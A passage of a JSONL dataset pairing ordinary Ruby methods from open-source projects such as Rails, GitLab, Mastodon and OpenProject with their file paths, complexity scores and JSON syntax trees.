\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category_id\"]}]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"changed\",{\"type\":\"true\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed\"]},\"!\"]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"levels\"]}]}]}]}","id":"288f51d7-4402-48f1-ae28-8e2548741cc0"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_ext_test.rb","start_line":158,"raw_source":"def test_last_week\n assert_equal Date.new(2005, 5, 9), Date.new(2005, 5, 17).last_week\n assert_equal Date.new(2006, 12, 25), Date.new(2007, 1, 7).last_week\n assert_equal Date.new(2010, 2, 12), Date.new(2010, 2, 19).last_week(:friday)\n assert_equal Date.new(2010, 2, 13), Date.new(2010, 2, 19).last_week(:saturday)\n assert_equal Date.new(2010, 2, 27), Date.new(2010, 3, 4).last_week(:saturday)\n end","complexity_score":35.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_last_week\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[17]}]},\"last_week\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2007]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[7]}]},\"last_week\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2010]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2010]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[19]}]},\"last_week\",{\"type\":\"sym\",\"children\":[\"friday\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2010]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2010]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[19]}]},\"last_week\",{\"type\":\"sym\",\"children\":[\"saturday\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2010]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[27]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2010]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]}]},\"last_week\",{\"type\":\"sym\",\"children\":[\"saturday\"]}]}]}]}]}","id":"404aac03-f7bb-4296-8089-7a2c19d3d52d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cache/ci/project_pipeline_status.rb","start_line":136,"raw_source":"def with_redis(&block)\n Gitlab::Redis::Cache.with(&block) # rubocop:disable CodeReuse/ActiveRecord\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_redis\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Cache\"]},\"with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"38817943-3f10-4366-b233-c33cc87d9558"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240708121037_remove_idx_project_statistics_storage_size_and_project_id_sync.rb","start_line":16,"raw_source":"def down\n return unless should_run?\n\n add_concurrent_index :project_statistics, COLUMNS, name: INDEX_NAME\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_run?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"project_statistics\"]},{\"type\":\"const\",\"children\":[null,\"COLUMNS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}]}]}","id":"a4a9c067-0e21-44b7-ba41-a6fda680521f"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_loader.rb","start_line":182,"raw_source":"def project_root\n warn Rainbow(<<~WARNING).yellow, uplevel: 1\n `RuboCop::ConfigLoader.project_root` is deprecated and will be removed in RuboCop 2.0. \\\n Use `RuboCop::ConfigFinder.project_root` instead.\n WARNING\n\n ConfigFinder.project_root\n end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"project_root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"str\",\"children\":[\"`RuboCop::ConfigLoader.project_root` is deprecated and will be removed in RuboCop 2.0. Use `RuboCop::ConfigFinder.project_root` instead.\\n\"]}]},\"yellow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uplevel\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigFinder\"]},\"project_root\"]}]}]}","id":"d9202aa4-dfa8-4f23-8cee-6caf8155f251"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/tasks/ci_secure_files.rb","start_line":18,"raw_source":"def storage_path\n Settings.ci_secure_files.storage_path\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"ci_secure_files\"]},\"storage_path\"]}]}","id":"aa4db6c8-bfd3-4528-8b0c-2ce3a5e787f5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuable_finder.rb","start_line":426,"raw_source":"def assignee_filter\n strong_memoize(:assignee_filter) do\n Issuables::AssigneeFilter.new(\n current_user: current_user,\n params: original_params\n )\n end\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"assignee_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"assignee_filter\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Issuables\"]},\"AssigneeFilter\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"original_params\"]}]}]}]}]}]}","id":"d874c155-6102-469a-969c-e5bd392ad59f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/page.rb","start_line":150,"raw_source":"def html?\n !!(content_type =~ %r{^(text/html|application/xhtml+xml)\\b})\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"html?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_type\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(text/html|application/xhtml+xml)\\\\b\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},\"!\"]},\"!\"]}]}","id":"5ac428c3-bf97-460e-82a7-86c66a78bc07"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_status_update_service.rb","start_line":185,"raw_source":"def update_metadata!\n @raw_tags = []\n @raw_mentions = []\n @raw_emojis = []\n\n as_array(@json['tag']).each do |tag|\n if equals_or_includes?(tag['type'], 'Hashtag')\n @raw_tags << tag['name'] if tag['name'].present?\n elsif equals_or_includes?(tag['type'], 'Mention')\n @raw_mentions << tag['href'] if tag['href'].present?\n elsif equals_or_includes?(tag['type'], 'Emoji')\n @raw_emojis << tag\n end\n end\n\n update_tags!\n update_mentions!\n update_emojis!\n update_quote!\n end","complexity_score":38.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update_metadata!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_tags\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@raw_mentions\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@raw_emojis\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"as_array\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tag\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Hashtag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_tags\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Mention\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_mentions\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Emoji\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_emojis\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_tags!\"]},{\"type\":\"send\",\"children\":[null,\"update_mentions!\"]},{\"type\":\"send\",\"children\":[null,\"update_emojis!\"]},{\"type\":\"send\",\"children\":[null,\"update_quote!\"]}]}]}","id":"22ed13ae-3187-4f6b-bd6e-43dea623d42c"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/models/two_factor_authentication/device.rb","start_line":113,"raw_source":"def cannot_set_default_if_exists\n if default && has_other_default?\n errors.add :default, :default_already_exists\n end\n\n true\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cannot_set_default_if_exists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default\"]},{\"type\":\"send\",\"children\":[null,\"has_other_default?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"default_already_exists\"]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"017a447e-2ea2-4f56-875b-a50f7739acd0"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/core.rb","start_line":195,"raw_source":"def self.current_preventing_writes\n connected_to_stack.reverse_each do |hash|\n return hash[:prevent_writes] if !hash[:prevent_writes].nil? && hash[:klasses].include?(Base)\n return hash[:prevent_writes] if !hash[:prevent_writes].nil? && hash[:klasses].include?(connection_class_for_self)\n end\n\n false\n end","complexity_score":26.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_preventing_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connected_to_stack\"]},\"reverse_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prevent_writes\"]}]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"klasses\"]}]},\"include?\",{\"type\":\"const\",\"children\":[null,\"Base\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prevent_writes\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prevent_writes\"]}]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"klasses\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"connection_class_for_self\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prevent_writes\"]}]}]},null]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"0944e5ce-6e57-48db-9114-4da132c71bed"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/conversions/bigint_converter.rb","start_line":31,"raw_source":"def init\n verify_table_and_columns_exist!\n return if all_converted?\n\n verify_all_integer_ids_are_included!\n check_trigger_permissions!\n # The reason why `disable_ddl_transaction!` is required\n # for `initialize_conversion_of_integer_to_bigint`\n migration.with_lock_retries do\n # Only integer columns should be considered\n # because in new instance, every ID will be bigint and should be skipped for conversion\n create_bigint_columns(source: integer_columns, type: 'bigint')\n create_trigger\n end\n end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"init\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_table_and_columns_exist!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_converted?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"verify_all_integer_ids_are_included!\"]},{\"type\":\"send\",\"children\":[null,\"check_trigger_permissions!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration\"]},\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_bigint_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[null,\"integer_columns\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"bigint\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_trigger\"]}]}]}]}]}","id":"e3cc0366-404d-4265-82e9-5c155f56b1ba"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_chunks/redis_base.rb","start_line":52,"raw_source":"def size(model)\n with_redis do |redis|\n redis.strlen(key(model))\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"strlen\",{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]}]}","id":"6aa39d1a-da00-4fc2-9d73-40b09cb76253"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/projects/creator_service.rb","start_line":19,"raw_source":"def can_update_existing_member?\n raise ::Gitlab::Access::AccessDeniedError if assigning_project_member_with_owner_access_level? &&\n cannot_assign_owner_responsibilities_to_member_in_project?\n\n current_user.can?(:update_project_member, member)\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"can_update_existing_member?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assigning_project_member_with_owner_access_level?\"]},{\"type\":\"send\",\"children\":[null,\"cannot_assign_owner_responsibilities_to_member_in_project?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Access\"]},\"AccessDeniedError\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"update_project_member\"]},{\"type\":\"send\",\"children\":[null,\"member\"]}]}]}]}","id":"07edd5b9-65bc-4094-bc47-745fdbf74025"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":899,"raw_source":"def test_select_with_array\n @continent = Continent.new\n @continent.countries = [\"Africa\", \"Europe\"]\n\n expected_with_hidden_field_and_multiple = %(<input name=\"continent[countries][]\" type=\"hidden\" value=\"\" autocomplete=\"off\"/><select name=\"continent[countries][]\" id=\"continent_countries\" multiple=\"multiple\"><option selected=\"selected\" value=\"Africa\">Africa</option>\\n<option selected=\"selected\" value=\"Europe\">Europe</option>\\n<option value=\"America\">America</option></select>)\n expected_without_hidden_field = %(<select name=\"continent[countries]\" id=\"continent_countries\"><option selected=\"selected\" value=\"Africa\">Africa</option>\\n<option selected=\"selected\" value=\"Europe\">Europe</option>\\n<option value=\"America\">America</option></select>)\n\n assert_dom_equal(expected_with_hidden_field_and_multiple, select(\"continent\", \"countries\", %W(Africa Europe America), { multiple: true }))\n assert_dom_equal(expected_with_hidden_field_and_multiple, select(\"continent\", \"countries\", %W(Africa Europe America), multiple: true))\n assert_dom_equal(expected_with_hidden_field_and_multiple, select(\"continent\", \"countries\", %W(Africa Europe America), {}, { multiple: true }))\n assert_dom_equal(expected_without_hidden_field, select(\"continent\", \"countries\", %W(Africa Europe America)))\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_with_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@continent\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Continent\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@continent\"]},\"countries=\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Africa\"]},{\"type\":\"str\",\"children\":[\"Europe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_with_hidden_field_and_multiple\",{\"type\":\"str\",\"children\":[\"<input name=\\\"continent[countries][]\\\" type=\\\"hidden\\\" value=\\\"\\\" autocomplete=\\\"off\\\"/><select name=\\\"continent[countries][]\\\" id=\\\"continent_countries\\\" multiple=\\\"multiple\\\"><option selected=\\\"selected\\\" value=\\\"Africa\\\">Africa</option>\\n<option selected=\\\"selected\\\" value=\\\"Europe\\\">Europe</option>\\n<option value=\\\"America\\\">America</option></select>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_without_hidden_field\",{\"type\":\"str\",\"children\":[\"<select name=\\\"continent[countries]\\\" id=\\\"continent_countries\\\"><option selected=\\\"selected\\\" value=\\\"Africa\\\">Africa</option>\\n<option selected=\\\"selected\\\" value=\\\"Europe\\\">Europe</option>\\n<option value=\\\"America\\\">America</option></select>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected_with_hidden_field_and_multiple\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"str\",\"children\":[\"continent\"]},{\"type\":\"str\",\"children\":[\"countries\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Africa\"]},{\"type\":\"str\",\"children\":[\"Europe\"]},{\"type\":\"str\",\"children\":[\"America\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected_with_hidden_field_and_multiple\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"str\",\"children\":[\"continent\"]},{\"type\":\"str\",\"children\":[\"countries\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Africa\"]},{\"type\":\"str\",\"children\":[\"Europe\"]},{\"type\":\"str\",\"children\":[\"America\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected_with_hidden_field_and_multiple\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"str\",\"children\":[\"continent\"]},{\"type\":\"str\",\"children\":[\"countries\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Africa\"]},{\"type\":\"str\",\"children\":[\"Europe\"]},{\"type\":\"str\",\"children\":[\"America\"]}]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected_without_hidden_field\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"str\",\"children\":[\"continent\"]},{\"type\":\"str\",\"children\":[\"countries\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Africa\"]},{\"type\":\"str\",\"children\":[\"Europe\"]},{\"type\":\"str\",\"children\":[\"America\"]}]}]}]}]}]}","id":"130fce1f-42d3-4da8-a503-532cbb4e6432"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/lib/api/v3/attachments/attachments_by_budget_api.rb","start_line":41,"raw_source":"def get_attachment_self_path\n api_v3_paths.attachments_by_budget(container.id)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_attachment_self_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"attachments_by_budget\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"id\"]}]}]}","id":"2fb13de4-eafb-4651-860e-81e8a583466c"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/client.rb","start_line":1011,"raw_source":"def options\n options_obj = Object.new\n class << options_obj\n attr_accessor :params_encoder\n end\n options_obj\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options_obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]},{\"type\":\"sclass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options_obj\"]},{\"type\":\"send\",\"children\":[null,\"attr_accessor\",{\"type\":\"sym\",\"children\":[\"params_encoder\"]}]}]},{\"type\":\"lvar\",\"children\":[\"options_obj\"]}]}]}","id":"5f642295-213c-411f-ae8f-afa4f501f9c6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/diff_match_patch/lib/diff_match_patch.rb","start_line":993,"raw_source":"def diff_toDelta(diffs)\n diffs.map do |op, data|\n case op\n when :insert\n '+' + PatchObj.uri_encode(data, /[^0-9A-Za-z_.;!~*'(),\\/?:@&=+$\\#-]/)\n when :delete\n '-' + data.length.to_s\n when :equal\n '=' + data.length.to_s\n end\n end.join(\"\\t\").gsub('%20', ' ')\n end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_toDelta\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diffs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diffs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"op\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"insert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"+\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PatchObj\"]},\"uri_encode\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^0-9A-Za-z_.;!~*'(),/?:@&=+$\\\\#-]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\